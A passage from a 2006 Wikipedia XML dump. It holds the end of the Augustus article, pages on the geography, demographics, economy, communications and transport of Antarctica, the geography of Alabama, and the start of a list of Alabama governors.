Augustus was portrayed in the famous [[BBC]] [[miniseries]] [http://www.imdb.com/title/tt0074006/?fr=c2l0ZT1kZnx0dD0xfGZiPXV8cG49MHxrdz0xfHE9SSBjbGF1ZGl1c3xmdD0xfG14PTIwfGxtPTUwMHxjbz0xfGh0bWw9MXxubT0x;fc=1;ft=21;fm=1 ''I, Claudius''] by [http://www.imdb.com/name/nm0000306/ Brian Blessed]. (1975)

Augustus was portrayed in the movie [http://www.imdb.com/title/tt0340529/ ''Imperium: Augustus''] (part of the [[Imperium (movie)|Imperium]] movie series) by [[Peter O'Toole]].

==See also==
*[[Augustus (honorific)]]
*[[Julio-Claudian Family Tree]]

==Notes == 
# {{note|slander}} [[Suetonius]], ''Augustus'' [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Augustus*.html#68 68], [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Augustus*.html#71 71]
# {{note|2ndTri}} From the Gracchi to Nero:  HH Scullard p163
# {{note|pros}} From the Gracchi to Nero:  HH Scullard p164
# {{note|suicide}} Alexander to Actium: Peter Green pp 697

==External links==

{{commons|Augustus}}
{{wikiquote|Augustus}}

===Primary sources===
a
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Augustus/Res_Gestae/home.html The Res Gestae Divi Augusti] (The Deeds of Augustus, ''his own account'': complete Latin and Greek texts with facing English translation)
* [http://www.usask.ca/antharch/cnea/DeptTransls/ResGest.html Selections from the Res Gestae] (in a different English translation)
* [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Augustus*.html Suetonius' biography of Augustus, Latin text with English translation]
* [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Cassius_Dio/home.html#45 Cassius Dio's Roman History: Books 45&amp;#8209;56, English translation]
* [http://www.csun.edu/~hcfll004/nicolaus.html Life of Augustus] by [[Nicolaus of Damascus]]

===Secondary material===
* [http://www.roman-emperors.org/auggie.htm De Imperatoribus Romanis] (A good detailed biography)
* [http://janusquirinus.org/Octavian/OctavianHome.html Octavian / Augustus]
*[http://www.jerryfielden.com/essays/augustus.htm Augustus and the Roman army &amp;#8211; Mutual Loyalty and Rewards]

==Select Bibliography==
* ''The Power of Images in the Age of Augustus'', Paul Zanker.
* ''Augustan Culture'', Karl Galinsky.

{{start box}}
{{succession box|title=[[List of Roman consuls|Consul]] of the [[Roman Republic]]|before=[[Gaius Julius Caesar]] and [[Marc Antony|Marcus Antonius]]||after=[[Aulus Hirtius]] and [[Gaius Vibius Pansa Caetronianus]] |years=[[44 BC]]}}
{{succession box|title=[[List of Roman consuls|Consul]] of the [[Roman Republic]]|before=[[Aemilius Lepidus Paullus]]||after=[[Gnaeus Domitius Ahenobarbus (1st century BC)|Gnaeus Domitius Ahenobarbus]] and [[Gaius Sosius]] |years=[[33 BC]]}}
{{succession box|title=[[Julio-Claudian Dynasty]]|before=&amp;mdash;|after=[[Tiberius]]|years=63 BC &amp;ndash;14 AD}}
{{succession box|title=[[Roman Emperor]]| before=&amp;mdash; | CoEmperor= | after=[[Tiberius]]|years=27 BC-14 AD}}
{{end box}}

[[Category:63 BC births|Augustus, Caesar]]
[[Category:14 deaths|Augustus, Caesar]]
[[Category:Natives of Rome|Augustus, Caesar]]
[[Category:Julio-Claudian Dynasty|Augustus, Caesar]]
[[Category:Deified Roman Emperors|Augustus, Caesar]]
[[Category:Adoptive parents|Augustus, Caesar]]
[[Category:Historical figures portrayed by Shakespeare]]

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    </revision>
  </page>
  <page>
    <title>Geography of Antarctica</title>
    <id>1274</id>
    <revision>
      <id>39866053</id>
      <timestamp>2006-02-16T11:44:46Z</timestamp>
      <contributor>
        <username>William M. Connolley</username>
        <id>8072</id>
      </contributor>
      <comment>+/- ???: plus!</comment>
      <text xml:space="preserve">[[Image:Booth_Island.jpg|250px|thumb|right|Photo of [[Booth Island]] in [[Antarctica]]]]
[[Image:Antarctica2.jpg|250px|thumb|right|[http://www.photolib.noaa.gov/corps/images/big/corp2359.jpg] higher resolution copy]]
[[Image:Lake Fryxell.jpg|thumb|200px|The [[Blue ice (glacial)|Blue ice]] covering [[Lake Fryxell]], in the Transantarctic Mountains, comes from [[glacier|glacial]] meltwater from the [[Canada Glacier]] and other smaller glaciers. The fresh water stays on top of the lake and freezes, sealing in briny water below.]]
The continent of [[Antarctica]] is located mostly south of the [[Antarctic Circle]]. Physically Antarctica is divided in two by mountains close to the neck between the [[Ross Sea]] and the [[Weddell Sea]].  The portion of the continent west of the Weddell Sea and east of the Ross Sea is called [[Western Antarctica]] and the remainder [[Eastern Antarctica]], since they correspond roughly to the eastern and western hemispheres relative to the [[Prime Meridian|Greenwich meridian]]. This usage has been regarded as [[Eurocentrism|Eurocentric]] by some, and the alternative terms Lesser Antarctica and Greater Antarctica (respectively) are sometimes preferred. 

Western Antarctica is covered by the [[West Antarctic Ice Sheet]]. There has been some concern about this [[ice sheet]], because there is a small chance that it will collapse. If it does, ocean levels would rise by a few metres in a very short period of time.

In some areas, the ice sheet rests on bedrock below sea level [http://www.antarctica.ac.uk/aedc/bedmap/examples/bed10.gif].

==Statistics==

; Area:
:* Total: [[1 E13 m²|14 million sq km]]
:* Land: 14 million km² ([[1 E11 m²|280,000 sq km]] ice-free, 13.72 million km² ice-covered) (est.)
:* Note: Fifth-largest continent, following [[Asia]], [[Africa]], [[North America]], and [[South America]], but larger than [[Australia]] and the subcontinent of [[Europe]]
; Land boundaries:
: None
; Coastline:
: [[1 E7 m|17,968 km]]
; Maritime claims:
: None
; Climate:
: Severe low temperatures vary with latitude, elevation, and distance from the ocean; East Antarctica is colder than West Antarctica because of its higher elevation; Antarctic Peninsula has the most moderate climate; higher temperatures occur in January along the coast and average slightly below freezing
; Terrain:
: About 98% thick continental ice sheet and 2% barren rock, with average elevations [[1 E3 m|between 2,000 and 4,000 meters]]; mountain ranges up to 5,140 meters; ice-free coastal areas include parts of southern [[Victoria Land]], [[Wilkes Land]], the [[Antarctic Peninsula]] area, and parts of [[Ross Island]] on [[McMurdo Sound]]; [[glacier]]s form ice shelves along about half of the coastline, and floating ice shelves constitute 11% of the area of the continent.  The dry valleys of Antarctica are a particularly interesting region of Antarctica.  Due to extreme winds and lack of precipitation, this area is devoid of any snow and barren earth is visible.
; Elevation extremes:
:* Lowest point: [[Southern Ocean]] 0 [[metre|m]], although in some areas the bedrock under the ice sheet is below sea level.
:* Highest point: [[Vinson Massif]] 4,897 m ([[Ellsworth Mountains]])
; Natural resources:
: None presently exploited; [[iron]] ore, [[chromium]], [[copper]], [[gold]], [[nickel]], [[platinum]] and other minerals, and [[coal]] and [[hydrocarbons]] have been found in small, uncommercial quantities
; Land use:
:* Other: 100% (ice 98%, barren rock 2%)
; Irrigated land:
: 0 km² (1993)
; Natural hazards:
: [[katabatic wind|Katabatic]] (gravity-driven) winds blow coastward from the high interior; frequent blizzards form near the foot of the plateau; cyclonic storms form over the ocean and move clockwise along the coast; volcanism on [[Deception Island]] and isolated areas of West Antarctica; other seismic activity rare and weak
; Environment - current issues:
: [[Ozone hole]], [[sea level rise]]
; Geography - note:
: The coldest, windiest, highest (2,300 m on average), and driest continent; during summer, more solar radiation reaches the surface at the [[South Pole]] than is received at the [[Equator]] in an equivalent period; mostly uninhabitable.

==Volcanoes==
There are four [[volcano]]es on the mainland of Antarctica that are
considered to be active on the basis of observed fumarolic activity or
&quot;recent&quot; tephra deposits: 
[[Mount Melbourne]] (2,730 m) (74°21'S., 164°42'E.), a stratovolcano; 
[[Mount Berlin]] (3,500 m) (76°03'S., 135°52'W.), a stratovolcano; 
Mount Kauffman (2,365 m) (75°37'S., 132°25'W.), a stratovolcano; and 
[[Mount Hampton]] (3,325 m) (76°29'S., 125°48'W.), a volcanic caldera.
 
Several volcanoes on offshore islands have records of historic activity.
[[Mount Erebus]] (3,795m), a stratovolcano on
[[Ross Island]] with 10 known eruptions and 1 suspected eruption.
On the opposite side of the continent, 
[[Deception Island]]
(62°57'S., 60°38'W.), a volcanic caldera with 10 known
and 4 suspected eruptions, have been the most active.
[[Buckle Island]] in the [[Balleny Islands]] (66°50'S., 163°12'E.), 
[[Penguin Island (South Shetland Islands)|Penguin Island]] (62°06'S., 57°54'W.), 
Paulet Island (63°35'S., 55°47'W.), and 
Lindenberg Island (64°55'S., 59°40'W.) are also 
considered to be active.

==See also==
* [[List of antarctic and sub-antarctic islands]]

==External links==
* [http://sd-www.jhuapl.edu/FlareGenesis/Antarctica/1999/pictures/antarctica_pol_map.jpg Political Claims Map]
* [http://terraweb.wr.usgs.gov/TRS/projects/Antarctica/AVHRR.html USGS TerraWeb: Satellite Image Map of Antarctica]
* [http://erg.usgs.gov/isb/pubs/factsheets/fs05101.html United States Antarctic Resource Center (USARC)]
* [http://www.antarctica.ac.uk/aedc/bedmap/ BEDMAP]

[[Category:Geography of Antarctica| ]]
[[nl:Aardrijkskunde van Antarctica]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Antarctica</title>
    <id>1275</id>
    <revision>
      <id>39280180</id>
      <timestamp>2006-02-12T01:40:14Z</timestamp>
      <contributor>
        <username>Circeus</username>
        <id>98785</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Antarctica]]''' has no indigenous inhabitants, but there are seasonally staffed research stations.  Approximately 29 nations, all signatory to the [[Antarctic Treaty]], send personnel to perform seasonal (summer) and year-round research on the continent and in its surrounding oceans; the population of persons doing and supporting science on the continent and its nearby islands south of 60 degrees south latitude (the region covered by the Antarctic Treaty) varies from approximately 4,000 in summer to 1,000 in winter; in addition, approximately 1,000 personnel including ship's crew and scientists doing onboard research are present in the waters of the treaty region.

At least three children have been born in Antarctica. The first was [[Emilio Marcos Palma]], born [[January 7]], [[1978]] to [[Argentina|Argentine]] parents on the Argentine Base [[Esperanza Base|Esperanza]], near the tip of the Antarctic peninsula. In [[1986]], [[Juan Pablo Camacho]] was born at the Presidente Eduardo Frei Montalva Base, becoming the first [[Chile]]an born in Antarctica. Soon after a girl, Gisella, was born at the same station. 
{|class=&quot;wikitable&quot;
|-
! Nation
! Summer &lt;br /&gt;(January) &lt;br /&gt; population &lt;br /&gt; 3,687 total &lt;br /&gt; (1998-9)
! Winter &lt;br /&gt;(July) &lt;br /&gt;population &lt;br /&gt; 964 total &lt;br /&gt;
(1998-9)
! Year-round&lt;br /&gt; Stations &lt;bR&gt; 42 total &lt;br /&gt; (1998-9)
! Summer-only &lt;br /&gt; Stations &lt;br /&gt; 32 total &lt;br /&gt; (1998-9)
|-
| [[Argentina]] ||  302 ||  165 ||  6 ||  7 
|-
| [[Australia]] ||  201 ||  75 ||  4 ||  4  
|-
| [[Belgium]] ||  13  ||  - ||  -  ||  -
|-
| [[Brazil]] ||  80  ||  12 ||  1  ||  - 
|-
| [[Bulgaria]] ||  16  ||  - ||  -  ||  1
|-
| [[Chile]] ||  352  ||  129 ||  4  ||  7
|-
| [[China]] ||  70  ||  33 ||  2  ||  -
|-
| [[Finland]] ||  11  ||  - ||  1  ||  -
|-
| [[France]] ||  100  ||  33 ||  1  ||  -
|-
| [[Germany]] ||  51  ||  9 ||  1  ||  1
|-
| [[India]] ||  60  ||  25 ||  1 ||  1 
|-
| [[Italy]] ||  106  ||  - ||  1  ||  - 
|-
| [[Japan]] ||  136  ||  40 ||  1  ||  3
|-
| [[South Korea]] ||  14  ||  14 ||  1  ||  -
|-
| [[Netherlands]] ||  10  ||  - ||  -  ||  -
|-
| [[New Zealand]] ||  60  ||  10 ||  1  ||  1 
|-
| [[Norway]] ||  40  ||  - ||  1  ||  -
|-
| [[Peru]] ||  28  ||  - ||  -  ||  1
|-
| [[Poland]] ||  70  ||  20 ||  1  ||  -
|-
| [[Russia]] ||  254  ||  102 ||  6  ||  3 
|-
| [[South Africa]] ||  80  ||  10 ||  1  ||  - 
|-
| [[Spain]] ||  43  ||  - ||  1  ||  -
|-
| [[Sweden]] ||  20  ||  - ||  -  ||  2
|-
| [[Ukraine]] || &amp;nbsp; || &amp;nbsp; ||  1 ||  - 
|-
| [[United Kingdom|UK]] ||  192  ||  39
| 2 ||  5
|-
| [[United States|US]] || 1,378  ||  248
| 3 ||  -
|-
| [[Uruguay]] || &amp;nbsp; ||  &amp;nbsp; ||  1 ||  - 
|}

In addition, during the austral summer some nations have numerous occupied locations such as tent camps, summer-long temporary facilities, and mobile traverses in support of research (July 2000 est.)


==See also==
*[[Argentine Antarctica]]
[[Category:Antarctica]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Antarctica</title>
    <id>1276</id>
    <revision>
      <id>38845359</id>
      <timestamp>2006-02-09T00:32:30Z</timestamp>
      <contributor>
        <username>Arvedui</username>
        <id>126848</id>
      </contributor>
      <minor />
      <comment>clarification of awkward wording</comment>
      <text xml:space="preserve">No [[economics|economic]] activity is conducted at present in [[Antarctica]], except for [[fishing]] off the coast and small-scale [[tourism]], both based abroad. Antarctic fisheries in [[1998]]-[[1999]] ([[July 1]]- [[June 30]]) reported landing 119,898 metric tons. Unregulated [[fishing]] landed five to six times more than the regulated fishery, and allegedly illegal fishing in antarctic waters in [[1998]] resulted in the seizure (by [[France]] and [[Australia]]) of at least eight fishing ships. A total of 10,013 tourists visited in the [[1998]]-[[1999]] summer, up from the 9,604 who visited the previous year. Nearly all of them were passengers on 16 commercial (nongovernmental) ships and several [[yacht]]s that made 116 trips during the summer. Most tourist trips lasted approximately two weeks.

Small-scale tourism has existed since 1957. Since 1969, over 30,000 tourists have been to Antarctica.[http://www.knet.co.za/antarctica/political.htm] As of 2006, several ships transport people to Antarctica to visit specific scenic locations. Sight-seeing flights also used to take people from Australia and New Zealand over Antarctica and back again, until the fatal crash of [[Air New Zealand Flight 901]] near [[Mount Erebus]] late in 1979.

{{economics-stub}}
{{Antarctica-geo-stub}}
[[Category:Antarctica]]
[[Category:Economies by region]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Antarctica</title>
    <id>1277</id>
    <revision>
      <id>22973613</id>
      <timestamp>2005-09-10T13:45:56Z</timestamp>
      <contributor>
        <username>Citylover</username>
        <id>406359</id>
      </contributor>
      <comment>&quot;#REDIRECT [[Antarctic Treaty System]]&quot; added</comment>
      <text xml:space="preserve">#REDIRECT [[Antarctic Treaty System]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Antarctica</title>
    <id>1278</id>
    <revision>
      <id>38491058</id>
      <timestamp>2006-02-06T18:23:44Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Telephones - main lines in use:'''
0
&lt;br /&gt;(note: information for US bases only (2001))

'''Telephones - mobile cellular:'''
NA; [[Iridium (satellite)|Iridium]] system in use

'''[[Telephone]] system:'''
&lt;br /&gt;''general assessment:''
local systems at some research stations
&lt;br /&gt;''domestic:''
NA
&lt;br /&gt;''international:''
via satellite from some research stations

'''[[Radio]] broadcast stations:'''
AM: NA,
FM: 2,
shortwave: 1
&lt;br /&gt;(note: information for US bases only (2002))

'''Radios:'''
NA

'''[[Television]] broadcast stations:'''
1 (cable system with six channels; American Forces Antarctic Network-McMurdo)
&lt;br /&gt;(note: information for US bases only (2002))

'''Televisions:'''
several hundred at McMurdo Station (US)
&lt;br /&gt;(note: information for US bases only (2001))

'''[[Internet]] Service Providers (ISPs):'''
a fiber cable on polar plateau planned to finish in [[2009]] [1]

'''[[Country codes|Country code]] (Top level domain):'''
AQ

''Information from [[CIA World Factbook]], [[as of 2002|2002]] edition''

Argentine bases in general: Marambio base has wireless internet and 2 mobile phones servers

:''See also:'' [[Antarctica]]

==External links==
* [http://www.anetstation.com ANetStation] - radio station in Antarctica
[[Category:Communications by country|Antarctica]]
[[Category:Antarctica]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Antarctica</title>
    <id>1279</id>
    <revision>
      <id>40663199</id>
      <timestamp>2006-02-22T03:40:01Z</timestamp>
      <contributor>
        <username>Abracadabrantesque</username>
        <id>972037</id>
      </contributor>
      <minor />
      <comment>french article</comment>
      <text xml:space="preserve">'''Transportation in Antarctica''' is usually done over sea or plane, and requires special measures against the cold.

==Ports and harbors==
[[Antarctica]]'s only harbour is at [[McMurdo Station]]. Most coastal stations have offshore anchorages, and supplies are transferred from ship to shore by small boats, barges, and helicopters. A few stations have a basic wharf facility. All ships at port are subject to inspection in accordance with Article 7, [[Antarctic Treaty]]; offshore anchorage is sparse and intermittent.
[[McMurdo Station]] ({{coor dm|77|51|S|166|40|E|}}), [[Palmer Station]] ({{coor dm|64|43|S|64|03|W|}}); government use only except by permit (see Permit Office under &quot;Legal System&quot;).

==Airports==
Antarctica has 20 airports, but there are no developed public-access airports or landing facilities. 30 stations, operated by 16 national governments party to the [[Antarctic Treaty]], have landing facilities for either [[helicopter]]s and/or fixed-wing [[aircraft]]; commercial enterprises operate two additional air facilities.

Helicopter pads are available at 27 stations; runways at 15 locations are gravel, sea-ice, blue-ice, or compacted snow suitable for landing wheeled, fixed-wing aircraft; of these, 1 is greater than 3 km in length, 6 are between 2 km and 3 km in length, 3 are between 1 km and 2 km in length, 3 are less than 1 km in length, and 2 are of unknown length; snow surface skiways, limited to use by [[ski]]-equipped, fixed-wing aircraft, are available at another 15 locations; of these, 4 are greater than 3 km in length, 3 are between 2 km and 3 km in length, 2 are between 1 km and 2 km in length, 2 are less than 1 km in length, and data is unavailable for the remaining 4. 

Antarctic airports are subject to severe restrictions and limitations resulting from extreme seasonal and geographic conditions; they do not meet [[ICAO]] standards, and advance approval from the respective governmental or nongovernmental operating organization is required for landing (1999 est.)

'''Airports - with unpaved runways:'''
*''total:'' 20
*''over 3,047 m:'' 6
*''2,438 to 3,047 m:'' 3
*''1,524 to 2,437 m:'' 1
*''914 to 1,523 m:'' 4
*''under 914 m:'' 6 (2003 est.)

'''Heliports:''' 27 stations have restricted helicopter landing facilities (helipads) (2003 est.)

[[Category:Antarctica]]
[[Category:Transportation by country|Antarctica]]

[[fr:Transport en Antarctique]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Antarctica</title>
    <id>1280</id>
    <revision>
      <id>15899771</id>
      <timestamp>2004-12-27T12:01:41Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <comment>merge due to nonexisten subject</comment>
      <text xml:space="preserve">#REDIRECT[[Antarctica]]</text>
    </revision>
  </page>
  <page>
    <title>Antarctica/History</title>
    <id>1282</id>
    <revision>
      <id>15899772</id>
      <timestamp>2002-05-05T00:23:16Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect [[History of Antarctica]]</comment>
      <text xml:space="preserve">#redirect [[History of Antarctica]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Alabama</title>
    <id>1285</id>
    <revision>
      <id>38356684</id>
      <timestamp>2006-02-05T20:37:51Z</timestamp>
      <contributor>
        <username>Psmith</username>
        <id>25471</id>
      </contributor>
      <minor />
      <comment>/* Physical Features */ rv vandalism</comment>
      <text xml:space="preserve">[[image:Physio-al.jpg|right|float|frame|Physiographic Regions in Alabama]]
==Physical Features==
The surface of [[Alabama]] in the N. and N.E., embracing about two-fifths of its area, is diversified and picturesque; the remaining portion is occupied by a gently undulating plain having a general incline south-westward toward the [[Mississippi River]] and the [[Gulf of Mexico]].

Extending entirely across the state of Alabama for about 20 m.  S. of its N. boundary, and in the middle stretching 60 m. farther S., is the ''Cumberland Plateau'', or ''Tennessee Valley'' region, broken into broad table-lands by the dissection of rivers.  In the N. part of this plateau, W. of [[Jackson County, Alabama|Jackson county]], there are about 1000 sq. m. of level highlands from 700 to 800 ft. above the sea.  South of these highlands, occupying a narrow strip on each side of the [[Tennessee River]], is a country of gentle rolling lowlands varying in elevation from 500 to 800 ft.  To the N.E. of these highlands and lowlands is a rugged section with steep mountain-sides, deep narrow coves and valleys, and flat mountain-tops.  Its elevations range from 400 to 1800 ft.  In the remainder of this region, the S. portion, the most prominent feature is Little Mountain, extending about 80 m. from E. to W. between two valleys, and Asing precipitouslyon the N. side 500 ft. above them or 1000ft. above the sea.

Adjoining the Cumberland Plateau region on the S.E. is the ''Appalachian Valley'' (locally known as Coosa Valley) region, which is the S. extremity of the great [[Appalachian Mountains]], and occupies an area within the state of about 8000 sq. m.  This is a [[limestone]] belt with parallel hard rock ridges left standing by erosion to form mountains.  Although the general direction of the mountains, ridges and valleys is N.E. and S.W., irregularity is one of the most prominent characteristics.  In the N.E. are several flat-topped mountains, of which Raccoon and [[Lookout Mountain|Lookout]] are the most prominent, having a maximum elevation near the [[Georgia (U.S. state)|Georgia]] line of little more than 1800 ft. and gradually decreasing in height toward the S.W., where Sand Mountain is a continuation of Raccoon.  South of these the mountains are marked by steep N.W. sides, sharp crests and gently sloping S.E. sides.

South-east of the Appalachian Valley region, the ''Piedmont Plateau'' also crosses the Alabama border from the N.E. and occupies a small triangular-shaped section of which [[Randolph County, Alabama|Randolph]] and [[Clay County, Alabama|Clay]] counties, together with the N. part of [[Tallapoosa County, Alabama|Tallapoosa]] and [[Chambers County, Alabama|Chambers]], form the principal portion.  Its surface is gently undulating and has an elevation of about 1000 ft. above the sea.  The Piedmont Plateau is a lowland worn down by erosion on hard crystalline rocks, then uplifted to form a plateau.

The remainder of the state is occupied by the ''Coastal Plain''.  This is crossed by foot-hills and rolling prairies in the central part of the state, where it has a mean elevation of about 600 ft., becomes lower and more level toward the S.W., and in the extreme S. is flat and but slightly elevated above the sea.

The Cumberland Plateau region is drained to the W.N.W. by the [[Tennessee River]] and its tributaries; all other parts of the state are drained to the S.W. In the Appalachian Valley region the Coosa is the principal river; and in the Piedmont Plateau, the Tallapoosa.  In the Coastal Plain are the Tombigbee in the W., the Alabama (formed by the Coosa and Tallapoosa) in the W. central, and in the E. the Chattahoochee, which forms almost half of the Georgia boundary.  The [[Tombigbee River|Tombigbee]] and [[Alabama River|Alabama]] unite near the S.W. corner of the state, their waters discharging into [[Mobile Bay]] by the [[Mobile River|Mobile]] and Tensas rivers.  The Black Warrior is a considerable stream which joins the Tombigbee from the E.

The valleys in the N. and N.E. are usually deep and narrow, but in the Coastal Plain they are broad and in most cases rise in three successive terraces above the stream.  The harbour of Mobile was formed by the drowning of the lower part of the valley of the Alabama and Tombigbee rivers as a result of the sinking of the land here, such sinking having occurred on other parts of the Gulf coast. 

The fauna and flora of Alabama are similar to those of the Gulf states in general and have no distinctive characteristics.

==Climate and Soil==
The [[climate]] of Alabama is temperate and fairly uniform.

The heat of summer is tempered in the south by the winds from the [[Gulf of Mexico]], and in the north by the elevation above the sea. The average annual temperature is highest in the southwest along the coast (where the climate is [[subtropical]]), and lowest in the northeast among the highlands. Thus at Mobile the annual mean is 67°F (19°C), the mean for the summer 81°F (27°C), and for the winter 52°F (11°C); and at Valley Head, in De Kalb county, the annual mean is 59°F (15°C), the mean for the summer 75°F (24°C), and for the winter 41°F (5°C). At Montgomery, in the central region, the average annual temperature is 66°F (19°C), with a winter average of 49°F (9°C), and a summer average of 81°F (27°C).  The average winter minimum for the entire state is 35°F (2°C), and there is an average of 35 days in each year in which the thermometer falls below the freezing-point.  At extremely rare intervals the thermometer has fallen below zero (-18°F), as was the case in the remarkable cold wave of the 12th-13th of February [[1899]], when an absolute minimum of -17°F (-29°C) was registered at [[Valley Head, Alabama|Valley Head]]. The highest temperature ever recorded was 109°F (43°C) in [[Talladega County, Alabama|Talladega]] county in [[1902]].

The amount of precipitation is greatest along the coast (62 inches/1,574 mm) and evenly distributed through the rest of the state (about 52 inches/1,320 mm). During each winter there is usually one fall of snow in the south and two in the north; but the snow quickly disappears, and sometimes, during an entire winter, the ground is not covered with snow. [[Hailstorm]]s occur occasionally in the spring and summer, but are seldom destructive. Heavy [[fog]]s are rare, and are confined chiefly to the coast. [[Thunderstorm]]s occur throughout the year, but are most common in the summer. The prevailing winds are from the south. [[Tropical cyclone|Hurricane]]s are quite common in the state, especially in the southern part, and major hurricanes occasionally strike the coast which can be very destructive.

As regards its soil, Alabama may be divided into four regions.  Extending from the Gulf northward for about 150 miles (240 km) is the outer belt of the Coastal Plain, also called the ''Timber Belt,'' whose soil is sandy and poor, but responds well to fertilization.  North of this is the inner lowland of the Coastal Plain, or the ''Black Prairie,'' which includes some 13,000 square miles and seventeen counties.  It receives its name from its soil (weathered from the weak underlying limestone), which is black in colour, almost destitute of sand and loam, and rich in limestone and marl formations, especially adapted to the production of cotton; hence the region is also called the ''Cotton Belt.'' Between the ''Cotton Belt'' and the [[Tennessee Valley]] is the [[mineral]] region, the ''Old Land'' area -- a region of resistant rocks -- whose soils, also derived from weathering in silu, are of varied fertility, the best coming from the granites, sandstones and limestones, the poorest from the gneisses, schists and slates.  North of the mineral region is the ''Cereal Belt,'' embracing the Tennessee Valley and the counties beyond, whose richest soils are the red clays and dark loams of the river valley; north of which are less fertile soils, produced by siliceous and sandstone formations.

==Public lands==
Alabama includes several types of public use lands:

* [[List of Alabama state parks|Alabama State Parks]]

Alabama has four national forests and one national preserve within its borders. They provide over 25% of the state's public recreation land.  There is a national seashore that runs along the gulf coast, encompassing several islands and beachfront areas.

* [[United States National Monument|National Monument]]s
** [[Little River Canyon National Preserve]]
** [[Russell Cave National Monument]]

* [[National Forest]]s
** [[Conecuh National Forest]]
** [[Talladega National Forest]]
** [[Tuskegee National Forest]]
** [[William B. Bankhead National Forest]]

* [[U.S. Wilderness Area|Wilderness Area]]s
** [[Cheaha Wilderness]] 
** [[Dugger Mountain Wilderness]]
** [[Sipsey Wilderness]]

* [[National Scenic Trail]]
** [[Natchez Trace Trail]]

* [[National Recreation Trail]]
** [[Pinhoti National Recreation Trail]]

* [[National Wildlife Refuge]]
** [[Bon Secour National Wildlife Refuge]]
** [[Cahaba River National Wildlife Refuge]]
** [[Choctaw National Wildlife Refuge]]
** [[Eufaula National Wildlife Refuge]]
** [[Fern Cave National Wildlife Refuge]]
** [[Key Cave National Wildlife Refuge]]
** [[Mountain Longleaf National Wildlife Refuge]]
** [[Sauta Cave National Wildlife Refuge]]
** [[Watercress Darter National Wildlife Refuge]]
** [[Wheeler National Wildlife Refuge]]

* [[National Seashore]]
** [[Gulf Islands National Seashore]]

==See also==
* [[Alabama]]
* [[Geography of the United States]]

== External links ==
* [http://www.gsa.state.al.us/ State of Alabama Geological Survey]
* [http://tapestry.usgs.gov/states/alabama.html USGS - Tapestry of Time - Alabama]
* [http://www.al.com/parks/north.html Summary of Alabama Park &amp; Recreation Sites] 
* [http://www.stateparks.com/al.html  Interactive Map of Park &amp; Recreation Sites]

[[Category:Geography of Alabama| ]]</text>
    </revision>
  </page>
  <page>
    <title>List of governors of Alabama</title>
    <id>1286</id>
    <revision>
      <id>40359107</id>
      <timestamp>2006-02-20T01:16:18Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The following is a list of the territorial and state governors of [[Alabama]].
 
==Governor of [[Alabama Territory]]==
[[William Wyatt Bibb]], served [[1817]]-[[1819]]
 
==Governors of the State==
&lt;br clear=&quot;all&quot;&gt;
{| cellpadding=4 cellspacing=2
|- bgcolor=#cccccc
!Name!!Served!!Party
|- bgcolor=#DDEEFF
|[[William Wyatt Bibb]]&lt;sup&gt;1&lt;/sup&gt;
|1819&amp;ndash;[[1820]]
|[[Democratic Party (United States)|Democratic]]
|- bgcolor=#DDEEFF
|[[Thomas Bibb]]&lt;sup&gt;2&lt;/sup&gt;
|1820&amp;ndash;[[1821]]
|Democratic
|- bgcolor=#DDEEFF
|[[Israel Pickens]]
|1821&amp;ndash;[[1825]]
|Democratic
|- bgcolor=#DDEEFF
|[[John Murphy (Alabama)|John Murphy]]
|1825&amp;ndash;[[1829]]
|Democratic
|- bgcolor=#DDEEFF
|[[Gabriel Moore]]
|1829&amp;ndash;[[1831]]
|Democratic
|- bgcolor=#DDEEFF
|[[Samuel B. Moore]]&lt;sup&gt;3&lt;/sup&gt;
|1831
|Democratic
|- bgcolor=#DDEEFF
|[[John Gayle]]
|1831&amp;ndash;[[1835]]
|Democratic
|- bgcolor=#DDEEFF
|[[Clement C. Clay]]
|1835&amp;ndash;[[1837]]
|Democratic
|- bgcolor=#DDEEFF
|[[Hugh McVay]]&lt;sup&gt;4&lt;/sup&gt;
|1837
|Democratic
|- bgcolor=#DDEEFF
|[[Arthur P. Bagby]]
|1837&amp;ndash;[[1841]]
|Democratic
|- bgcolor=#DDEEFF
|[[Benjamin Fitzpatrick]]
|1841&amp;ndash;[[1845]]
|Democratic
|- bgcolor=#DDEEFF
|[[Joshua L. Martin]]
|1845&amp;ndash;[[1847]]
|Democratic
|- bgcolor=#DDEEFF
|[[Reuben Chapman]]
|1847&amp;ndash;[[1849]]
|Democratic
|- bgcolor=#DDEEFF
|[[Henry W. Collier]]
|1849&amp;ndash;[[1853]]
|Democratic
|- bgcolor=#DDEEFF
|[[John A. Winston]]
|1853&amp;ndash;[[1857]]
|Democratic
|- bgcolor=#DDEEFF
|[[Andrew B. Moore]]
|1857&amp;ndash;[[1861]]
|Democratic
|- bgcolor=#DDEEFF
|[[John Gill Shorter]]
|1861&amp;ndash;[[1863]]
|Democratic
|- bgcolor=#DDEEFF
|[[Thomas H. Watts]]
|1863&amp;ndash;[[1865]]
|Democratic
|-
|[[Lewis E. Parsons]]&lt;sup&gt;5&lt;/sup&gt;
|1865
|Provisional
|- bgcolor=#FFE8E8
|[[Robert M. Patton]]
|1865&amp;ndash;[[1867]]
|[[Republican Party (United States)|Republican]]
|-
|[[Wager Swayne]]&lt;sup&gt;6&lt;/sup&gt;
|1867&amp;ndash;[[1868]]
|Military
|- bgcolor=#FFE8E8
|[[William H. Smith]]
|1868&amp;ndash;[[1870]]
|Republican
